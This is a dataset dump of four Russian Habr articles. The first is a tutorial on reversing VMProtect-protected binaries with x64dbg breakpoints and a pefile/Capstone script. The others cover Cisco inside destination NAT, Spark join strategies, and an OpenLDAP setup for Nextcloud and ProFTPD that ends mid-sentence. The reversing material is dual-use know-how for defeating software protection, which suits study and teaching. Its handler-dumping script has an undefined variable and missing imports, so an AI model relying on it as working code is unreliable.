text
stringlengths
20
1.01M
url
stringlengths
14
1.25k
dump
stringlengths
9
15
lang
stringclasses
4 values
source
stringclasses
4 values
# Исполняемый обвес. Часть 2 ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/217/d9e/b34/217d9eb34e20ed6b5dca8f80e74d468c.png)Вторая статья небольшой серии о защите, которая используется для сокрытия алгоритма приложения. В [прошлой статье](https://habr.com/ru/company/otus/blog/545576/) мы разобрали основные части защиты и собрали тестовое приложение. Здесь познакомимся со структурой обработчиков команд и попробуем поотлаживать и раскодировать исполняемый файл. ### Описание работы VMProtect Рассматриваемая защита имеет ряд функций, которые здорово портят жизнь реверс-инженеру. Например: 1. Создание полиморфных обработчиков для одной и той же программы; 2. Однонаправленное кодирование команд процессора; Чтобы продемонстрировать эти проблемы, запакуем еще раз файл, который использовали для первой части статьи. Дизассемблированный граф выглядит так: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/760/e8d/cec/760e8dcece60609f08c6012445a26f31.png)В этот раз нам повезло, процессинг файла прошел успешно и все обработчики команд виртуальной машины VMP были обработаны корректно для построения графа. В первой части статьи исполняемый граф был разбит на отдельные команды, которые не могли быть использованы для графического представления. Чтобы проанализировать приложение, нужно понимать, как строится код VMP и как он обрабатывает различные команды. Приведем в качестве шаблона следующий псевдокод. ``` pusha ; сохранить все регистры push 0 ; установка начального значения mov esi, [esp+x+var] ; esi = указатель на VM байт код, адрес может меняться за счет x и var mov ebp, esp ; так как VMProtect использует стековую виртуальную машину, то ebp = VM "stack" указатель sub esp, 0C0h mov edi, esp ; edi = область памяти, где находятся регистры общего назначения Сместить обработчик: add esi, [ebp+0] Выбрать следующую команду: mov al, [esi]; читаем байт байткода в EIP виртуальной машины movzx eax, al sub esi, -1; смещаем значение EIP виртуальной машины jmp ds:VMHandlers[eax*4] ; выполняем обработчик команды ``` Теперь тоже самое, но на графе: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/292/0f4/839/2920f4839c4b9ffb5d4187e9dc5ae7a6.png)Финальная часть, которая решает, какой будет следующая команда и каким обработчиком эту команду выполнять: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/42f/c88/96c/42fc8896ce0995f8018b3df0452e5333.png)Теперь, когда мы разобрались с основным конвейером, можно начинать отладку. ### Отладка VM Для отладки будем использовать [x64dbg](https://x64dbg.com), на сегодняшний день это самый активно развивающийся отладчик для ОС Windows (помимо WinDBG). Вообще можно пользоваться любым отладчиком, лишь бы вы могли удобно видеть регистры и память, с которой работает приложение. Загрузим приложение в отладчик и встанем на первую команду протектора: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/b7b/e4f/2d9/b7be4f2d94da98ea0fa29f365d39e941.png)Выделим основные точки для наблюдения, чтобы в дальнейшем можно было восстановить оригинальный алгоритм приложения. Если опустить все подробности работы виртуальной машины, то нам необходимо сейчас определить, где находится в коде так называемый main\_loop. Его достаточно просто найти, если несколько раз протрассировать приложение: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/f64/bbc/f30/f64bbcf3083859d0825a95b0b1bfb5c1.png)На рисунке пунктирной красной рамкой выделен main loop. Это основной цикл, который работает с байткодом, расположенным по адресу из регистра ESI. EIP для виртуальной машины является AX регистр. В него помещаются идентификаторы обработчиков. В итоге, чтобы получить развернутый листинг приложения, нам нужно собрать номера вызываемых обработчиков. Сделать это можно либо используя приложение, которое будет самостоятельно парсить сегмент упакованного исполняемого файла, либо нужно установить условный breakpoint, который будет регистрировать заданные данные. Будем использовать второй метод и запишем в лог отладчика все номера вызванных хэндлеров. Для начала определим точку, где индекс хэндлера можно получить уже после вычислений: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/d4d/c3a/eaa/d4dc3aeaae0c187a8a33f02dd85fb76f.png)Теперь откроем меню "breakpoints" и установим вот такие значения: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/99a/a8f/461/99aa8f4612792c1078d2ee3e3f8c16e0.png)Настройка достаточно проста, поле "Log Text" используется для занесения данных в лог отладчика. Формат строки, которая заполняется из регистров или локальных переменных отладчика выглядит так: `{формат данных:объект откуда взять данные}`. В нашем случае мы просматриваем регистр `eax` и локальную переменную `$breakpointcounter`. Поле `Command Text` позволяет выполнять операции автоматически по достижению адреса точки останова. В нашем случае мы ничего не делаем, поэтому команда просто продолжает выполнение приложения. Посмотрим на результат: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e8e/0ee/a46/e8e0eea4638212e3c849842adb31bca2.png)Итак, у нас есть индексы обработчиков и их количество — 669. Согласитесь, разбирать такое количество обработчиков достаточно трудоемкий процесс, однако уникальных индексов может быть гораздо меньше. Попробуем это выяснить. Для фильтрации будем использовать notepad++ и его функцию замены текста: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/5fc/3a0/4d5/5fc3a04d55c4d17366f8cdf015995935.png)Для замены использовалась следующая регулярка: `^(.*?)$\s+?^(?=.*^\1$)` Итого у нас 53 уникальных индекса для хэндлеров. Уже лучше, перейдем к следующему этапу. ### Сбор команд алгоритма К сожалению, на этом этапе придется попрощаться на время с отладчиком и заняться программированием. Основная наша задача будет получение общего листинга всех обработчиков приложения, которые вызываются последовательно из main loop. Зачем это нужно? Чтобы собрать алгоритм воедино и попробовать его оптимизировать для разбора. Скрипт, который нам поможет собрать обработчики в единую последовательность команд: ``` import pefile # загружаем файл pe = pefile.PE(filePath) # помещаем в память image = pe.get_memory_mapped_image() # смещение до таблицы хэндлеров baseOffset = 0xB400 # Всего 255 хэндлеров в исполняемом файла handlers = [] for i in range(255): offset+=4 handlers.append(image[offset]) # собираем байткод хэндлеров for h in handlers: md = Cs(CS_ARCH_X86, CS_MODE_32) for i in md.disasm(h, 0x1000): print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str)) ``` Фрагмент получаемого листинга: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/5ba/edd/cfb/5baeddcfb65d3f4ac7e41fca91c35189.png)Следующий этап — оптимизация кода и удаление заведомо избыточного кода. Выполняется это либо вручную, либо с привлечением рекомпиляции через промежуточный язык программирования. Для этих действий можно использовать вот [этот](https://llvm.org) проект. Предлагаем читателям попробовать сделать это самостоятельно. --- > *Автор статьи — Александр Колесников.* > > Статья приурочена к курсу [**"Reverse-Engineering. Basic"**](https://otus.pw/1qnM/). > > Приглашаем также посетить открытый вебинар на тему [**«Эксплуатация уязвимостей в драйвере. Часть 2»**](https://otus.pw/ix0o/)**:** разберём уязвимость переполнения пула памяти и уязвимость типа type confusion; напишем эксплойт. > >
https://habr.com/ru/post/547372/
null
ru
null
# NAT на Cisco. Часть 2 И снова добрый день, коллеги! Продолжаю серию статей про NAT на Cisco, т.к. предыдущая статья все нашла некоторое количество положительных отзывов. В этой статье мы рассмотрим, как и было обещано, inside destination NAT. Кому интересно — велкам под кат. *Прежде чем читать дальше — **дисклаймер**: коллеги, я понимаю, что не все ровно относятся к Cisco вообще, CLI в частности и цискарям в особенности. Но давайте все же не разводить холиваров и делать обсуждение более конструктивным, а именно обсуждать конкретно эту статью и описываемую технологию. Поскольку блог-то тематический, то и статья в его тематику. И еще просьба, давайте при несхождении мнений не выходить за рамки корректности. :) все, извините за лирическое отступление.* Итак, #### inside destination NAT На самом деле весьма и весьма экзотический вид NATа, созданный специально для балансировки нагрузки между серверами, работающими по TCP протоколу. В реальной жизни встречается не чаще солнечного затмения :) Давайте углубимся. 1. Итак, данная трансляция срабатывает ТОЛЬКО когда соединение инициируется (простите за такое слово) со стороны outside интерфейса в сторону inside интерфейса и для ответного трафика. Но если трафик инициируется со стороны inside — трансляция не произойдет. 2. Такой NAT работает только для протокола TCP. Зачем нам такая радость? Допустим, у нас есть десяток web-серверов, имеющих адреса с 10.0.0.1 по 10.0.0.10. На всех серверах крутится один и тот же сайт (вернее это могут быть просто frontend-сервера) и порт у них тоже один, для простоты — 80 (HTTP). ![](https://habrastorage.org/r/w1560/storage/278b930d/989cd1ee/9449a275/02afa58f.png) Клиенты снаружи достукиваются до нашего «размазанного» сайта по адресу 11.1.1.1:80. И мы хотим балансировать нагрузку между ними по принципу RR (Round Robin), т.е. чтобы каждый следующий клиент, обращающийся снаружи к нашему маршрутизатору по глобальному адресу, обращался к следующему серверу из этой десятки (по кругу). Вот тут-то там и поможет этот хитрый NAT. Как это работает? 1. *Прямая трансляция*. Вопреки логичным и привычным ожиданиям, основанным на логике работы inside source NAT, для этого типа прямая трансляция та, которая создается при обращении со стороны outside в сторону inside. При появлении TCP (и только его, повторюсь) трафика на outside интерфейсе, трафик сначала проверяется на соответствие inside destination NAT. Если он соответствует — адрес назначения меняется на следующий в пуле и трансляция заносится в список трансляций. После этого пакет с уже измененным адресом назначения подвергается маршрутизации. \_\_\_ **UPD**: не-TCP трафик будет направлен на первый адрес в пуле. За комментарий спасибо [Ilya\_Drey](https://habrahabr.ru/users/ilya_drey/) 2. *Обратная трансляция*. Опять же — многое наоборот. Обратная трансляция происходит в направлении inside-to-outside. И здесь уже сначала отрабатывает маршрутизация, если она бросает трафик с inside на outside и есть соответствующая запись в таблице трансляций — пакет растранслируется. Замечания. 1. В отличие от static inside source NAT и static inside source PAT, маршрутизатор не отвечает на ARP-запросы по поводу глобального адреса, если конечно этот адрес не назначен его интерфейсу. Поэтому возможно потребуется добавить его к интерфейсу как secondary. 2. Как и в случае inside source NAT, трафик роутера тоже подвергается трансляции, даже если нет ни одного inside интерфейса. 3. Следствие из п. 2: если нет inside-интерфейсов, транслируется только трафик самого роутера. давайте теперь посмотрим, как это конфигурируется. 1. Итак, сначала создаем пул. Адреса в пуле — адреса наших серверов. `(config)# ip nat pool NAME_OF_POOL 10.0.0.1 10.0.0.10 netmask 255.255.255.0 type **rotary**` я специльно выделил слово rotary — для этого типа NAT пул должен быть ротационным (т.е. мы как раз указываем, что адреса будут браться один за другим по кругу, иначе по достижению конца пула следующий пакет будет дропнут). 2. Создаем access-list, который будет выделять трафик, подлежащий трансляции. Специально сделал его расширенным: `(config)# access-list 100 permit tcp any host 11.1.1.1 eq www` Т.е. транслировать мы будем трафик, направленный к нашему глобальному адресу и даже конкретному порту (TCP!). 3. Создаем трансляцию, остались мелочи: `(config)# ip nat inside destination list 100 pool NAME_OF_POOL` 4. И маркируем интерфейсы (там где сервера — inside, где внешний мир — outside) `(config)# int fa0/0 (config-if)# ip nat inside (config-if)# int fa0/1 (config-if)# ip nat outside` И теперь, можем пронаблюдать картину обращений к нашему серверу: `R3#sh ip nat translations Pro Inside global Inside local Outside local Outside global tcp 11.1.1.1:80 10.0.0.1:80 11.1.1.251:18747 11.1.1.251:18747 tcp 11.1.1.1:80 10.0.0.2:80 11.1.1.250:52943 11.1.1.250:52943` видим, что один и тот же порт глобального адреса (а именно 11.1.1.1:80) странслировался в разные адреса. \_\_\_ **UPD**: естественно, трафик балансируется per-session, что необходимо для корректной работы TCP. За комментарий спасибо [Ilya\_Drey](https://habrahabr.ru/users/ilya_drey/) Замечания. 1. Нельзя перенаправлять какой-то порт глобального адреса на другие порты серверов (например 80й на 8080й), порты должны совпадать. Если очень нужно — можно прицепить loopback, транслировать на него обычным inside source static PAT с заменой порта, оттуда уже на сервера с помощью inside destination NAT. И совсем нельзя (ощущение, что с помощью еще и nat enable — можно) такое делать, если на серверах один и тот же протокол отвечает по разным портам (где-то по 80, а где-то по 8080 например). Но если кому-то до зарезу нужно — пишите, попробую сообразить. 2. Если настроены две трансляции — одна inside destination, как выше, а другая — inside source dynamic PAT для тех же серверов, т.е. для трафика, идущего от них наружу, но не попадающего в обратную трансляцию (например для доступа серверов к репозиториям): `ip nat inside source list 110 interface FastEthernet0/1 overload access-list 110 permit ip 10.0.0.0 0.0.0.255 any` Видим, что они перекрываются, т.е. ответ от серверов с 80го порта должен подвергнуться обратной трансляции inside destination и прямой inside source (кстати, обе они сработают только после маршрутизации). В этом случае, обратная трансляция выигрывает и все будет работать как положено. 3. Нельзя сделать статический inside destination NAT. Для этого нужно использовать static inside source NAT. В заключение. Подводя итоги, хочу еще разок отметить следующее: 1. Inside destination NAT — технология трансляции адресов с целью балансировки и работает она только для протокола TCP. 2. Хотя интерфейсы маркируются так же, как и в случае inside source NAT, направление прямой и обратной трансляции противоположное. 3. Приоритеты NAT (inside-to-outside и outside-to-inside) такие же, как и в случае inside source NAT. 4. Если трафик инициируется в направлении inside-to-outside, то трансляции он не подвергается (если только Вы там еще не наворотили и inside source NAT). Я решил не перегружать статью, так что outside source NAT мы рассмотрим в следующей статье. По традиции — я открыт для пожеланий и предложений. Пока в списке видел policy-NAT.
https://habr.com/ru/post/108978/
null
ru
null
# Демистификация Join в Apache Spark > Привет, Хабр. Для будущих студентов курса [**«Экосистема Hadoop, Spark, Hive»**](https://otus.pw/B7hd/) подготовили перевод материала. > > Также приглашаем всех желающих на вебинар [**«Тестирование Spark приложений»**](https://otus.pw/dzUC/). На этом открытом уроке рассмотрим проблемы в тестировании Spark приложений: стат данные, частичную проверку и запуск/остановку тяжелых систем. Изучим библиотеки для решения и напишем тесты. > > ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/019/8b7/76f/0198b776f27023b61899151623b15d82.png) --- #### Эта статья посвящена исключительно операции Join в Apache Spark и дает общее представление о фундаменте, на котором построена технология Spark Join. Операции Join часто используются в типовых потоках анализа данных для корреляции двух наборов данных. Apache Spark, будучи унифицированным аналитическим движком, также обеспечил прочную основу для выполнения широкого спектра сценариев Join. На очень высоком уровне Join работает с двумя наборами входных данных, операция выполняется путем сопоставления каждой записи данных, принадлежащей одному из наборов входных данных, с каждой другой записью, принадлежащей другому набору входных данных. При обнаружении совпадения или несовпадения (в соответствии с заданным условием) операция Join может либо вывести отдельную сопоставляемую запись из любого из двух наборов данных, либо Joined запись. Объединенная запись представляет собой комбинацию отдельных сопоставляемых записей из обоих наборов данных. ### Важные аспекты операции Join: Теперь давайте разберемся в трех важных аспектах, которые влияют на выполнение операции Join в Apache Spark. К ним относятся: **1) Размер наборов входных данных:** Размер наборов входных данных напрямую влияет на эффективность выполнения и надежность операции Join. Кроме этого, сравнительный размер наборов входных данных влияет на выбор механизма Join, что может еще сильнее сказаться на эффективности и надежности Join. **2) Условие Join:** Условие или положение, на основании которого объединяются входные наборы данных, называется условием джойна (Join Condition). Условие обычно включает логическое сравнение(я) между атрибутами, принадлежащими входным наборам данных. Исходя из условия джойн, объединения классифицируются на две широкие категории: эквивалентные Join и неэквивалентные Joins. Эквивалентные джойны включают одно условие равенства, либо несколько, которые должны выполняться одновременно. Каждое условие равенства применяется к атрибутам двух входных наборов данных. Например, (A.x == B.x) или ((A.x == B.x) и (A.y == B.y)) - это два примера условий эквивалентного джойн для атрибутов  x, y  двух входных наборов данных A и B, участвующих в операции Join. Неэквивалентные джойны не подразумевают условий равенства. Однако они могут допускать несколько условий равенства, которые не должны выполняться одновременно. Например, (A.x < B.x) или ((A.x == B.x) или (A.y == B.y)) - это два примера условий неравнозначного джойн для атрибутов  x, y  двух входных наборов данных A и B, участвующих в операции Join. **3) Тип Join type:** Тип Join влияет на результат операции Join после применения условия Join между записями входных наборов данных. Ниже приведена общая классификация различных типов Join: *Внутренний джойн (Inner Join):* Inner Join выводит только совпадающие записи Joined (по условию Join) из входных наборов данных. *Внешний джойн (Outer Join):* Outer Join выводит не только совпадающие записи, но и не совпадающие. Внешний джойн дополнительно классифицируется на левое, правое и полное внешнее соединение на основе выбора набора (наборов) входных данных для вывода несовпадающих записей. *Полуджойн (Semi Join):* Semi Join выводит отдельные записи, принадлежащие только одному из двух входных наборов данных, в совпадающем, либо в несовпадающем экземпляре. Если запись, принадлежащая одному из входных наборов данных, выводится на несовпадающий экземпляр, то полуджойном (Semi Join) также называется антиджойном (Anti Join). *Перекрестный джойн:* Cross Join выводит все объединенные записи, которые возможны при объединении каждой записи из одного набора входных данных с каждой записью из другого набора входных данных. Основываясь на трех вышеперечисленных важных аспектах выполнения Join, Apache Spark выбирает правильный механизм для выполнения Join. ### Различные механизмы выполнения операции Join После того, как мы поняли различные аспекты осуществления операции Join, давайте теперь разберемся в различных механизмах ее выполнения. Apache Spark предоставляет в общей сложности пять механизмов для выполнения операций Join. К ним относятся: * Перемешанный хеш (Shuffle Hash Join) * Широковещательный хеш (Broadcast Hash Join) * Сортировка через слияние (Sort Merge Join) * Декартов джойн (Cartesian Join) * Широковещательный джойн вложенного цикла (Broadcast Nested Loop Join) *Broadcast Hash Join:* в механизме «Broadcast Hash Join» один из двух входных наборов данных (участвующих в Join) транслируется всем исполнителям. Хеш-таблица строится для всех исполнителей из транслируемого набора данных, после чего каждый раздел не транслируемого входного набора данных присоединяется независимо к другому набору данных, доступному как локальная хеш-таблица. > “Broadcast Hash Join" не требует этапа перемешивания и является наиболее эффективным. Единственным требованием к надежности является то, что исполнители должны иметь достаточно памяти для размещения транслируемого набора данных. Поэтому Spark избегает этого механизма, когда оба входных набора данных достаточно велики и превышают настраиваемый порог. > > *Shuffle Hash Join:* В механизме 'Shuffle Hash Join' сначала два набора входных данных выравниваются в соответствии с выбранной схемой разделения (партиционирования) выходных данных (Чтобы узнать больше о выбранной схеме разделения выходных данных, вы можете обратиться к моей недавней книге под названием [”Guide to Spark Partitioning (Руководство по партиционированию Spark)”](https://www.amazon.com/Guide-Spark-Partitioning-Explained-Depth/dp/B08L25WHJ4). В случае, если один или оба набора входных данных не соответствуют выбранной схеме разбиения, для достижения соответствия используется операция перемешивания (shuffle) перед фактическим выполнением Join. После того, как соответствие выбранной схеме разбиения выходных данных обеспечено для обоих входных наборов данных, Shuffle Hash выполняет операцию Join, для каждого выходного раздела, используя стандартный подход Hash Join. То есть, для каждого выходного раздела сначала строится хэш-таблица из соответствующего раздела меньшего входного набора данных, а затем соответствующий раздел большего входного набора данных соединяется с построенной хэш-таблицей. > Требования к памяти исполнителей относительно меньше в случае "Shuffle Hash Join" по сравнению с "Broadcast Hash Join". Это связано с тем, что хэш-таблица строится только на определенном разделе меньшего набора входных данных. Таким образом, если вы предоставляете большое количество выходных разделов и у вас большое количество исполнителей с подходящей конфигурацией памяти, вы можете достичь более высокой производительности для операции Join с помощью 'Shuffle Hash Join'. Однако эффективность будет ниже, чем у 'Broadcast Hash Join', если Spark потребуется выполнить дополнительную операцию перемешивания на одном или обоих входных наборах данных для соответствия выходному разделению. > > *Sort Merge Join:* Начальная часть 'Sort Merge Join' аналогична 'Shuffle Hash Join'. Здесь также сначала два набора входных данных выравниваются в соответствии с выбранной схемой разбиения (партиционирования) выходных данных. В случае, если один или оба набора входных данных не соответствуют выбранной схеме разбиения, то для достижения соответствия используется операция перемешивания (shuffle) перед выполнением операции Join. После того, как соответствие выбранной схеме разбиения выходных данных обеспечено для обоих входных наборов данных, Sort Merge выполняет операцию Join для каждого выходного раздела, используя стандартный подход Sort Merge Join. *'Sort Merge Join' менее эффективен в вычислительном плане по сравнению с 'Shuffle Hash Join' и 'Broadcast Hash Join', однако, требования к памяти исполнителей для выполнения 'Sort Merge Join' значительно ниже, чем для 'Shuffle Hash' и 'Broadcast Hash'. Также, как и в случае с 'Shuffle Hash Join', если входные наборы данных не соответствуют желаемому разделению на выходе, то операция перемешивания (shuffle)* *одного или обоих входных наборов данных, в зависимости от ситуации, увеличивает нагрузку на выполнение 'Sort Merge Join'.* *Cartesian Join:* Cartesian Join используется исключительно для выполнения перекрестного джойна между двумя наборами входных данных. Количество выходных разделов всегда равно произведению количества разделов входного набора данных. Каждый выходной раздел сопоставляется с уникальной парой разделов, которая состоит из одного раздела одного и другого раздела второго набора входных данных. Для каждого из выходных разделов результат вычисляется как декартово произведение данных из двух входных разделов, сопоставленных с выходным разделом. *Недостатком Cartesian Join является увеличение количества выходных разделов. Но если вам требуется перекрестное Join, Cartesian - единственный подходящий механизм.* *Broadcast Nested Loop Join:* В 'Broadcast Nested Loop Join' один из наборов входных данных транслируется всем исполнителям. После этого каждый раздел не транслируемого набора входных данных присоединяется к транслируемому набору с помощью стандартной процедуры Nested Loop Join для получения выходных объединенных данных. *«Broadcast Nested Loop Join» наименее эффективен с точки зрения вычислений, поскольку для сравнения двух наборов данных выполняется вложенный цикл. Кроме того, это требует большого объема памяти, поскольку один из наборов входных данных должен транслироваться всем исполнителям.* ### Как Spark выбирает механизм Join? Рассмотрев важные аспекты операции Join и различные механизмы выполнения Join, давайте теперь посмотрим, как Spark выбирает тот или иной механизм: Spark выбирает конкретный механизм для выполнения операции Join, основываясь на следующих факторах: * Параметры конфигурации * Подсказки для Join * Размер наборов входных данных * Тип Join * Эквивалентные или неэквивалентные джойны (Equi or Non-Equi Join) Spark обеспечил гибкость в API Join для указания дополнительных подсказок Join с целью завершения механизма Join. Подсказки Join, такие как 'broadcast', 'merge', 'shuffle\_hash' и 'shuffle\_replicate\_nl', могут быть предоставлены вместе с наборами данных, принимающими участие в Join. Ниже приводится полное описание того, как Spark выбирает различные механизмы Join с учетом вышеперечисленных факторов: ### 'Broadcast Hash Join' *Обязательные условия* * Применимо только к условию Equi Join * Не применимо к типу соединения 'Full Outer' Join Помимо обязательного условия, одно из следующих условий должно быть истинным: * Для левого набора входных данных предоставлена подсказка 'Broadcast', а тип Join - 'Right Outer', 'Right Semi' или 'Inner'. * Подсказка не предоставлена, но левый входной набор данных является широковещательным согласно конфигурации *'*`spark.sql.autoBroadcastJoinThreshold` *(по умолчанию 10 МБ)'* и тип Join - 'Right Outer', 'Right Semi', or 'Inner'. * Предоставлена подсказка 'Broadcast' для правого набора входных данных, а тип Join - 'Left Outer', 'Left Semi' или 'Inner'. * Подсказка не предоставляется, но правый входной набор данных является широковещательным согласно конфигурации *'*`spark.sql.autoBroadcastJoinThreshold` *(по умолчанию 10 МБ)'* и тип Join - 'Left Outer', 'Left Semi', or 'Inner'. * Предоставлена подсказка 'Broadcast' для обоих наборов входных данных, а тип Join - 'Left Outer', 'Left Semi', 'Right Outer', 'Right Semi' или 'Inner'. * Подсказка не предоставляется, но оба входных набора данных являются широковещательными согласно конфигурации *'*`spark.sql.autoBroadcastJoinThreshold` *(по умолчанию 10 МБ)'* и тип Join - 'Left Outer', 'Left Semi', 'Right Outer', 'Right Semi' или 'Inner'. ### 'Shuffle Hash Join' *Обязательные условия* * Применимо только к условию Equi Join * Не применимо к типу соединения 'Full Outer' Join * Конфигурация *'*`spark.sql.join.prefersortmergeJoin` *(по умолчанию true)'* имеет значение false Помимо обязательного условия, одно из следующих условий должно быть истинным: * Предоставлена подсказка 'shuffle\_hash' для левого набора входных данных, а тип Join - 'Right Outer', 'Right Semi', или 'Inner'. * Подсказка не предоставляется, но левый входной набор данных значительно меньше правого входного набора данных, а тип Join - 'Right Outer', 'Right Semi' или 'Inner'. * Подсказка 'shuffle\_hash' предоставлена для правого набора входных данных, а тип Join - 'Left Outer', 'Left Semi', или 'Inner'. * Подсказка не предоставляется, но правый входной набор данных значительно меньше левого, а тип Join - 'Left Outer', 'Left Semi', или 'Inner'. * Подсказка 'shuffle\_hash' предоставлена для обоих входных наборов данных, а тип Join - 'Left Outer', 'Left Semi', 'Right Outer', 'Right Semi', или 'Inner'. * Подсказка не предоставляется, но оба набора данных существенно малы, а тип Join - 'Left Outer', 'Left Semi', 'Right Outer', 'Right Semi', или 'Inner'. ### 'Sort Merge Join' *Обязательные условия* * Применимо только к условию Equi Join * Ключи Join Keys, определенные из условия Equi Join, поддаются сортировке * Конфигурация *'spark.sql.join.prefersortmergeJoin (по умолчанию true)'* имеет значение true. Помимо обязательных условий, одно из следующих условий должно быть истинным: * Подсказка 'merge' предоставляется для любого набора входных данных, а тип Join может быть любым. * Подсказка не предоставлена, а тип Join может быть любым. ### 'Cartesian Join' *Обязательные условия* * Тип соединения 'Inner' Помимо обязательного условия, должно выполняться одно из следующих условий: * Подсказка 'shuffle\_replicate\_nl' предоставлена для любого из входных наборов данных, условие Join может быть Equi или Non-Equi. * Подсказка не предоставлена, условие Join может быть Equi или Non-Equi. ### 'Broadcast Nested Loop Join' 'Broadcast Nested Loop Join' - является механизмом Join по умолчанию; когда нельзя выбрать другие механизмы, тогда 'Broadcast Nested Loop Join' выбирается как окончательный механизм для выполнения любого типа Join для любого условия Join. *В случае, если более одного механизма Join становятся пригодными для выполнения, тогда выбирается предпочтительный в следующем порядке 'Broadcast Hash Join', 'Sort Merge Join', 'Shuffle Hash Join', 'Cartesian Join'.* *Среди Cartesian и Broadcast Nested Loop Join, Broadcast Nested Loop предпочтительнее для Inner, Non-Equi Joins, чем Cartesian Join, в случае, когда один из входных наборов данных может быть транслирован.* И последнее, но не менее важное: партиционирование также играет очень важную роль в эффективности выполнения данного механизма Join. Чтобы узнать больше о партиционировании, вы можете обратиться к предыдущей ссылке. *Надеемся, что эта статья прояснила все ваши сомнения и замешательства в отношении выполнения Join в Apache Spark. Если какие-то вопросы еще остались, пожалуйста, напишите в разделе комментариев или отправьте мне сообщение.* --- > Подробнее о курсе[**«Экосистема Hadoop, Spark, Hive»**](https://otus.pw/B7hd/) > > Смотреть открытый урок [**«Тестирование Spark приложений»**](https://otus.pw/dzUC/) > >
https://habr.com/ru/post/556722/
null
ru
null
# OpenLDAP в качестве центра аутентификации для Nextcloud и ProFTPD Привет, Хабр! На связи Холодаев Алексей, младший системный администратор Cloud4Y. Сегодня хочу поделиться опытом использования OpenLDAP в качестве центра аутентификации для Nextcloud и ProFTPD. В ходе работы над одним из проектов возникла задача по созданию нескольких сотен пользователей на Nextcloud и ProFTPD. На ProFTPD пользователи должны создаваться с FTP квотой, а на Nextcloud — с Nextcloud квотой. Все серверы работают под управлением ОС Linux Debian 10. Заниматься каждым сервером отдельно было как-то не весело. Поэтому я обратил свой взор на центр аутентификациии LDAP, желая использовать его в качестве центра аутентификации для Nextcloud и ProFTPD. Делюсь инструкцией, как это можно сделать. Изначально я выбрал реализацию OpenLDAP server, после чего развернул виртуальную машину на Debian 10. Обновил ОС и перезагрузил её: ``` sudo apt-get -y update sudo apt-get -y upgrade sudo reboot ``` Затем установил OpenLDAP server и LDAP утилиты командой`apt-get -y install slapd LDAP -utils` В ходе установки нужно будет задать пароль администратора LDAP сервера, имя домена, указать, какой тип базы и какую версию LDAP протокола использовать. Если у вас спросили в ходу установки не все настройки, выполните команду переконфигурации  OpenLDAP server: `dpkg-reconfigure slapd` и задайте все настройки заново. Пароль администратора LDAP сервера: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/790/957/453/790957453a2019c0a053c8957f7eb450.png)Подтвердите пароль: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/494/f06/ce5/494f06ce5d46508203084388fc136f21.png)Далее нажимаем **No**, т.к. мы не будем создавать начальную конфигурацию сервера, а сконфигурируем его сами. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/295/077/745/2950777454391d849192f91cad009459.png)Задаём имя нашего домена: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/49e/b5a/107/49eb5a107678d8a3a765a4cfa0106ced.png)Вводим имя организации: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/999/d1a/aa1/999d1aaa12e227f20f33c28e169177a0.png)Далее вводим пароль администратора: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/62c/17c/c91/62c17cc913e223117bda2f7153a211fb.png)Повторяем пароль администратора: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/fdd/c97/348/fddc97348e20de85294e4cd946324507.png)Выбираем тип базы данных MDB: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/a33/bb6/61a/a33bb661acc5f6e24e942132a7de2b55.png)Здесь нажимаем **No**, т.к. мы не хотим, чтобы база удалялась при очистке slapd: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/f31/9f3/245/f319f32457fd7fafb7d852ad9adbc657.png)Нажимаем **Yes**, т.к. мы хотим переместить старую базу прежде чем создать новую: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/238/6fb/efa/2386fbefaa913009ca12da644134efc7.png)Выполняем команду `slapcat` и убеждаемся, что база данных создана: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/d2f/731/7a0/d2f7317a069d700b2201786960cc914c.png)Чтобы иметь возможность создавать пользователей с квотами FTP и квотами Nextcloud, нужно внести дополнительные атрибуты в схему LDAP OpenLDAP сервера. Также необходимо внести объектный класс, содержащий эти атрибуты. По умолчанию редактировать схему LDAP в OpenLDAP сервере может только корневой пользователь ОС (используется SAML аутентификация). Все изменения в схему LDAP будем вносить через LDIF файл. Он будет содержать следующий текст: ``` dn: cn=test,cn=schema,cn=config objectClass: olcSchemaConfig cn: test olcAttributeTypes: ( 1.3.6.1.1.1.1.28 NAME 'ftpQuota' DESC 'Quota FTP' EQUALITY caseIgnoreIA5Match SUBSTR caseIgnoreIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE ) olcAttributeTypes: ( 1.3.6.1.1.1.1.29 NAME 'NextQuota' DESC 'Quota Nextcloud ' EQUALITY caseIgnoreIA5Match SUBSTR caseIgnoreIA5SubstringsMatch SYNTAX 1.3.6.1.4.1.1466.115.121.1.26 SINGLE-VALUE ) olcObjectClasses:( 1.3.6.1.1.1.2.48 NAME 'FtpNext' DESC 'Abstraction of an account with POSIX attributes' SUP top AUXILIARY MUST ( ftpQuota $ NextQuota ) ) ``` Созданный файл назовём `test.ldif` У файлов LDIF есть определённый синтаксис, который необходимо соблюдать при их написании. Подробнее вы можете узнать в официальной документации по LDAP. Атрибуты создаются типа **String,** на что указывает строчка **EQUALITY caseIgnoreIA5Match SUBSTR caseIgnoreIA5SubstringsMatch** в LDIFфайле. С помощью утилиты ldapadd этот набор схемы был добавлен на OpenLDAP server командой: `LDAP add -H LDAP i:/// -Y EXTERNAL -f test.ldif` **Параметр** `–Y EXTERNAL` задаётся для выполнения команды от имени 